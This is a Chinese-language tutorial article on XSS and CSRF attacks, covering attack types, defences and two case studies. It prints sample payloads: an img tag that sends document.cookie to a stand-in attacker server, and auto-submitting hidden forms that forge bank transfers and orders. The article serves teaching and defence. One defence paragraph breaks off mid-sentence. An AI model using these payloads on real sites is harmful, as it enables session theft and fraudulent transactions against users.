XSS 与 CSRF 攻击你了解多少呢

网络安全至关重要，它保护着我们的个人信息和网站的正常运行。XSS和CSRF是两种常见且危险的网络威胁，它常常困扰着我们，而你又了解多少呢？

一、XSS 攻击深度剖析
（一）概念溯源与攻击本质

XSS，即跨站脚本攻击，其核心在于攻击者利用网站对用户输入数据处理的漏洞，将恶意脚本注入网页。当其他用户访问该网页时，浏览器会误将这些恶意脚本当作正常网页内容执行，从而沦为攻击者的 “傀儡”，实现用户敏感信息窃取、会话劫持甚至远程控制用户设备等恶意目的。从本质上讲，XSS 是一种代码注入攻击，它打破了网页内容的信任边界，将恶意代码植入到原本安全的页面执行环境中。

与 CSRF 攻击的本质区别：XSS 攻击主要是通过注入恶意脚本，在用户浏览器端执行恶意代码，重点在于篡改页面内容和控制用户浏览器行为；而 CSRF 攻击则是利用用户已登录状态下浏览器对目标网站的信任，伪造用户请求，让目标网站执行非用户本意的操作，侧重于伪造请求。

（二）攻击类型详解

存储型 XSS：此类型攻击的恶意脚本会被永久存储在目标网站的服务器端，如数据库、文件存储系统等。在支持用户生成内容的平台，如社交网络的个人简介、论坛帖子、博客评论区等，攻击者精心构造包含恶意脚本的输入内容。当服务器存储这些内容后，后续任何访问该页面的用户，浏览器都会从服务器获取并执行其中的恶意脚本。这种攻击的影响范围广泛且持久，只要页面持续存在且未修复漏洞，新用户的访问就可能不断中招，如同在网站中埋下一颗随时引爆的 “定时炸弹”。

反射型 XSS：攻击者通过精心构造包含恶意脚本的 URL 链接，诱使用户点击。链接中的恶意脚本通常作为请求参数传递到目标网站服务器。服务器在处理请求时，未对输入参数进行严格验证与过滤，直接将恶意脚本反射回用户浏览器，进而被浏览器执行。搜索引擎结果页面（SERP）攻击是常见场景之一，攻击者操纵搜索关键词，使搜索结果页面包含恶意脚本。这种攻击依赖用户主动点击恶意链接，虽然单次攻击范围相对有限，但攻击者可通过大规模钓鱼邮件、社交媒体诱骗等手段，扩大攻击面，造成严重危害。

基于 DOM 的 XSS：与前两者不同，基于 DOM 的 XSS 攻击主要发生在客户端浏览器环境。攻击者利用网页中客户端 JavaScript 代码在处理文档对象模型（DOM）时的逻辑漏洞，通过修改 DOM 结构来注入恶意脚本。例如，网页中存在一段 JavaScript 代码，它根据 URL 参数动态修改页面元素的 innerHTML 属性，攻击者可构造恶意 URL，使得该代码在处理 URL 参数时，将恶意脚本插入到 innerHTML 中，从而在浏览器渲染页面时执行恶意脚本。这种攻击方式隐蔽性强，因为它不依赖服务器端对恶意脚本的存储或反射，检测与防范难度较大，需要深入分析客户端 JavaScript 代码逻辑才能有效识别。

（三）防御机制深度解析

输入验证与过滤的强化策略：传统的输入验证仅检查数据格式，已难以应对复杂多变的 XSS 攻击。现代防御体系需采用多层次、多维度的输入验证。不仅要使用正则表达式精确匹配合法数据格式，如严格限定数字输入框只能接受数字字符，还要对输入数据进行语义分析，识别潜在的恶意代码模式。例如，使用机器学习算法训练模型，学习正常输入数据的特征分布，对偏离正常模式的数据进行预警与拦截。同时，针对特殊字符的过滤，除了屏蔽常见的

与 CSRF 防御机制的区别：XSS 防御更侧重于对用户输入数据的严格管控，防止恶意脚本注入，像输入验证、输出编码、CSP 等手段都是围绕此展开；而 CSRF 防御主要是验证请求来源的合法性，防止恶意请求被当作合法用户请求执行，如 CSRF Token 机制、Referer 头检查等，重点在于请求验证而非数据内容本身。

二、CSRF 攻击深度剖析
（一）概念本质与攻击原理

CSRF，即跨站请求伪造，其核心在于利用用户浏览器对已登录网站的信任机制。当用户在已登录状态下，访问恶意网站时，恶意网站通过精心构造的请求，诱使浏览器自动携带用户在目标网站的身份认证信息（如 Cookie），向目标网站发送请求。由于目标网站仅依据身份认证信息验证请求合法性，未对请求来源进行充分验证，导致恶意请求被误当作合法用户操作执行，实现攻击者操控用户账户进行转账、修改密码、发布恶意内容等非用户本意的操作。

（二）攻击类型深入解读

GET 类型的 CSRF 攻击：攻击者构造包含恶意操作参数的 GET 请求链接，这些链接通常伪装成正常的网页链接，如诱人的下载链接、图片链接等。当用户在登录目标网站且未退出登录状态下，点击该链接时，浏览器会自动向目标网站发送包含恶意参数的 GET 请求。例如，在一个论坛中，攻击者发布一个看似正常的图片链接，链接实际为 “https://target - website.com/change-password?new-password=attackerpassword&user = victimuser”，若用户点击该链接且目标网站未对请求进行有效验证，用户密码就可能被攻击者修改。
POST 类型的 CSRF 攻击：攻击者在恶意网站中构建一个隐藏的 HTML 表单，表单中包含恶意操作所需的参数，如转账金额、收款账户等。通过 JavaScript 等技术，在用户访问恶意网站时，自动提交该表单。例如，构造一个针对网上银行的隐藏表单：

<form action="https://bank-website.com/transfer-money" method="post">
    <input type="hidden" name="to-account" value="attacker-account">
    <input type="hidden" name="amount" value="10000">
</form>
<script>
    document.forms[0].submit();
</script>

当用户访问恶意网站时，表单自动提交，向银行网站发送 POST 请求，由于用户登录状态下浏览器自动携带 Cookie，银行网站会误将该请求当作合法用户操作执行转账。
3. 链接类型的 CSRF 攻击：与 GET 类型类似，但更具隐蔽性。攻击者将恶意请求链接伪装成各种形式，如短链接、二维码链接等。用户在不知情的情况下点击链接，触发对目标网站的恶意请求。例如，通过社交媒体发送一个看似正常的短链接，实际指向一个精心构造的 CSRF 攻击链接，用户点击后，在登录状态下自动向目标网站发送恶意请求。

（三）防御策略深度解析

CSRF Token 的深度应用与优化：
CSRF Token 作为防御 CSRF 攻击的核心机制，其生成、存储与验证过程需深度优化。服务器应采用高强度的随机数生成算法生成 Token，确保 Token 的随机性与不可预测性。在存储方面，将 Token 与用户会话紧密绑定，采用安全的存储方式，如存储在 HTTP - only Cookie 或服务器端会话中。在验证环节，不仅要验证 Token 的存在性与正确性，还要考虑 Token 的时效性，设置合理的 Token 有效期，防止 Token 被长时间复用。同时，针对单页面应用（SPA）等特殊场景，优化 Token 的传递与验证方式，确保在复杂的前端交互环境下仍能有效防御 CSRF 攻击。
Referer 头检查的强化与改进：
虽然 Referer 头可用于验证请求来源，但存在被伪造的风险。为强化其防御效果，可结合其他因素进行综合判断。例如，对 Referer 头进行来源白名单与黑名单管理，只允许来自信任源的请求通过，同时对可疑的 Referer 头进行人工审核或进一步验证。此外，结合请求的时间戳、用户行为模式等信息，建立动态的请求来源验证模型，提高验证的准确性与可靠性。例如，如果用户在短时间内从一个陌生的 Referer 头来源频繁发起敏感操作请求，系统可自动触发二次验证或拦截机制。
双重提交 Cookie：
这是一种有效的 CSRF 防御方式。具体流程为，当用户访问网站页面时，服务器会向请求域名注入一个 Cookie，其内容为随机字符串。当用户再次向服务器发送请求时，需要从 Cookie 中取出该字符串，并添加到 URL 参数中。服务器通过对 Cookie 中的数据和 URL 参数中的数据进行比较来完成验证。这种方法利用了攻击者虽能利用 Cookie，但无法直接访问获取 Cookie 具体内容的特点。相较于 CSRF Token 方法，它更为便捷，且不存在分布式访问时 Token 管理的复杂问题。然而，它也存在明显的局限性。若网站存在 XSS 漏洞，攻击者可通过注入的恶意脚本获取 Cookie 中的随机字符串，从而使该验证方式失效。此外，该方式无法做到子域名的隔离，在涉及多个子域名的业务场景中，可能会因 Cookie 的共享而带来安全风险 。
限制敏感操作的多维度策略：
对于涉及资金交易、重要信息修改等敏感操作，除了要求用户进行二次身份验证，还可采用行为分析技术，对用户的操作行为进行实时监测与分析。例如，通过分析用户的登录 IP 地址、设备指纹、操作频率、操作习惯等信息，建立用户行为画像，当检测到异常行为时，自动触发额外的安全验证流程或拦截操作。同时，结合业务逻辑，对敏感操作设置合理的限制条件，如限制转账金额上限、修改密码的时间间隔等，降低 CSRF 攻击造成的损失。
SameSite Cookie 的深入配置与应用：SameSite 属性为 Cookie 的安全设置提供了重要支持。在配置 SameSite 属性时，应根据网站的业务需求与安全风险评估，选择合适的模式。对于安全性要求极高的场景，可采用 Strict 模式，禁止 Cookie 在任何跨站请求中发送；对于一些需要一定跨站交互的业务，如第三方登录等，可采用 Lax 模式，并结合其他安全机制进行补充防护。同时，定期评估网站的 Cookie 使用情况，根据业务变化与安全态势，动态调整 SameSite 属性的配置，确保 Cookie 在不同场景下的安全性与可用性的平衡。

三、案例深度解读
（一）XSS 攻击案例

某知名在线教育平台，为了提升用户互动体验，允许教师在课程介绍页面中添加自定义的 HTML 内容。攻击者发现该平台对教师输入的 HTML 内容仅进行了简单的标签过滤，未对标签属性值进行深入检查。攻击者利用这一漏洞，在课程介绍中插入了如下恶意 JavaScript 代码：

<img src="javascript:var xhr = new XMLHttpRequest();xhr.open('GET', 'http://attacker - server.com/steal - data?data=' + document.cookie, true);xhr.send();" />

由于该平台未对标签的 src 属性值进行严格验证，当学生浏览该课程介绍页面时，浏览器会执行这段恶意代码，将学生的 Cookie 信息发送到攻击者服务器。攻击者利用获取到的 Cookie，冒充学生登录平台，查看学生的学习记录、考试成绩等敏感信息，并篡改部分课程评价，给平台声誉与学生权益造成了严重损害。平台在遭受攻击后，立即对输入验证机制进行了全面升级，引入了深度的语义分析与标签属性过滤技术，对用户输入的 HTML 内容进行全方位检测与净化，有效防范了类似 XSS 攻击的再次发生。

（二）CSRF 攻击案例

用户 A 在某知名电商平台完成登录后，未及时退出登录状态。此时，用户 A 收到一封伪装成电商平台客服的钓鱼邮件，邮件中包含一个看似正常的图片链接，链接实际指向一个恶意网站。用户 A 点击链接后，跳转到恶意网站，该网站中包含一段针对电商平台的 CSRF 攻击代码：

<form action="https://e-commerce-website.com/place-order" method="post">
    <input type="hidden" name="product-id" value="expensive-product-id">
    <input type="hidden" name="quantity" value="10">
    <input type="hidden" name="shipping-address" value="attacker-address">
</form>
<script>
    document.forms[0].submit();
</script>

由于用户 A 在电商平台的登录状态未过期，浏览器在访问恶意网站时，自动携带用户 A 在电商平台的 Cookie 信息。当恶意网站中的代码自动提交表单时，请求被发送到电商平台服务器，服务器验证用户身份通过（因为携带了合法的 Cookie），从而执行下单操作，购买了 10 件昂贵商品并将其发送到攻击者指定的地址。电商平台在发现这一攻击事件后，迅速加强了对敏感操作的防护措施，引入了 CSRF Token 机制，并对所有涉及订单操作的请求进行严格的 Token 验证。同时，加强了对用户的安全提示与教育，提醒用户注意防范钓鱼邮件与不明链接，有效降低了 CSRF 攻击的风险。

四、二者最大的不同点：

• XSS 可以拿到cookie，但是CSRF拿不到cookie，所以他只能借用登录态，也就是说如果你登录过期了，CSRF是没有效果的
• XSS 攻击主要是通过注入恶意脚本，在用户浏览器端执行恶意代码，重点在于篡改页面内容和控制用户浏览器行为；而 CSRF
  攻击则是利用用户已登录状态下浏览器对目标网站的信任，伪造用户请求，让目标网站执行非用户本意的操作，侧重于伪造请求。

综上所述，XSS 和 CSRF 攻击作为网络安全领域的两大顽疾，其攻击手段不断演进，防御难度持续增加。无论是网站开发者、安全从业者还是普通用户，都必须保持高度警惕，深入理解这两种攻击的原理与防御方法，不断更新安全策略与技术手段。通过持续的技术创新、严格的安全审计以及广泛的用户安全意识教育，构建全方位、多层次的网络安全防护体系，才能有效抵御 XSS 和 CSRF 攻击，维护网络空间的安全与稳定。